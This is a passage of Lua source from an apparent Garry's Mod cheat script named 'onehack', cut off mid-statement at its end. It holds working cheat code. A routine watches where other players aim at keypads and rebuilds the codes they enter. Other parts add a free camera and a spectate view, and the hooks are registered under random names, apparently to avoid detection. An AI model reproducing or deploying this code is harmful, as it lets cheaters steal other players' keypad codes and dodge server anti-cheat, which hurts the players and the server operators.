2381 if !ply:IsValid() then return end
2382
2383 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
2384 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
2385
2386 local scale = ent.Scale
2387 if !scale then return 0, 0 end
2388
2389 local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
2390 if !pos or !ang then return 0, 0 end
2391 local normal = ent:GetForward()
2392
2393 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
2394 if !intersection then return 0, 0 end
2395
2396 local diff = pos - intersection
2397
2398 local x = diff:Dot( -ang:Forward() ) / scale
2399 local y = diff:Dot( -ang:Right() ) / scale
2400
2401 return x, y
2402end
2403
2404function onehack.KPGetHoveredElement(ply, ent)
2405 local scale = ent.Scale
2406
2407 local w, h = ent.Width2D, ent.Height2D
2408 local x, y = onehack.CalculateKeypadCursorPos(ply, ent)
2409
2410 for _, element in ipairs(elements) do
2411 local element_x = w * element.x
2412 local element_y = h * element.y
2413 local element_w = w * element.w
2414 local element_h = h * element.h
2415
2416 if element_x < x and element_x + element_w > x and
2417 element_y < y and element_y + element_h > y
2418 then
2419 return element
2420 end
2421 end
2422end
2423hook.Add("Think",onehack.RandomString(17),function()
2424 if onehack.Vars['keypad_jiw'] then
2425 for k, v in pairs(player.GetAll()) do
2426 local kp = v:GetEyeTrace().Entity
2427 if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
2428 kp.tempCode = kp.tempCode or ""
2429 kp.tempText = kp.tempText or ""
2430 kp.tempStatus = kp.tempStatus or 0
2431 if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
2432 kp.tempText = kp:GetText()
2433 kp.tempStatus = kp:GetStatus()
2434 if(kp.tempText && !kp:GetSecure()) then
2435 kp.tempCode = kp.tempText
2436 timer.Simple(0, function()
2437 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2438 kp.code = kp.tempCode
2439 end
2440 end)
2441 else
2442 local i = onehack.KPGetHoveredElement(v, kp)
2443 if (i) then i = i.text end
2444 if kp.tempText then
2445 timer.Simple(0, function()
2446 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2447 kp.code = kp.tempCode
2448 end
2449 end)
2450 end
2451 if kp.tempText == "" || kp:GetStatus() == 2 then
2452 kp.tempCode = ""
2453 end
2454 timer.Simple(0, function()
2455 if(tonumber(i) && kp:GetText():len() != 0) then
2456 kp.tempCode = kp.tempCode..i
2457 end
2458 end)
2459 end
2460 end
2461 end
2462 end
2463 end
2464end)
2465hook.Add("CreateMove",onehack.RandomString(17),function(cmd)
2466 if onehack.Vars['FCAM'] then
2467 cmd:ClearButtons()
2468 cmd:ClearMovement()
2469 cmd:SetMouseX(0)
2470 cmd:SetMouseY(0)
2471 end
2472end)
2473
2474function onehack.cameracalculate( ply, pos, angles, fov )
2475 if onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
2476 local view = {}
2477 view.origin = onehack.SpectatePlayer:EyePos() or Vector(0,0,0)
2478 view.angles = onehack.SpectatePlayer:EyeAngles() or Angle(0,0,0)
2479 view.fov = fov
2480 view.drawviewer = true
2481 return view
2482 elseif onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:GetClass() == "gmod_cameraprop" then
2483 local view = {}
2484 view.origin = onehack.SpectatePlayer:GetPos() or Vector(0,0,0)
2485 view.angles = onehack.SpectatePlayer:GetAngles() or Angle(0,0,0)
2486 view.fov = fov
2487 view.drawviewer = true
2488 return view
2489 end
2490 if onehack.Vars['FCAM'] then
2491 local view = {}
2492 local newang = angles
2493 onehack.StartCamAng = LocalPlayer():GetAngles()
2494 local speed = onehack.CamSpeed_Normal
2495 if input.IsKeyDown(KEY_LSHIFT) then
2496 speed = onehack.CamSpeed_Fast
2497 elseif input.IsKeyDown(KEY_LCONTROL) then
2498 speed = onehack.CamSpeed_Slow
2499 else
2500 speed = onehack.CamSpeed_Normal
2501 end
2502 if input.IsKeyDown(KEY_W) then
2503 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Forward() * speed
2504 end
2505 if input.IsKeyDown(KEY_A) then
2506 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Right() * speed
2507 end
2508 if input.IsKeyDown(KEY_D) then
2509 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Right() * speed
2510 end
2511 if input.IsKeyDown(KEY_S) then
2512 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Forward() * speed
2513 end
2514 if input.IsKeyDown(KEY_SPACE) then
2515 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Up() * speed
2516 end
2517 --LocalPlayer():SetPos(onehack.StartCamPos)
2518 view.origin = onehack.StartCamPos
2519 view.angles = newang
2520 view.fov = fov
2521 view.drawviewer = true
2522 return view
2523 end
2524end
2525hook.Add( "CalcView", onehack.RandomString(17), onehack.cameracalculate )
2526
2527MsgC(onehack.theme.chroma,[[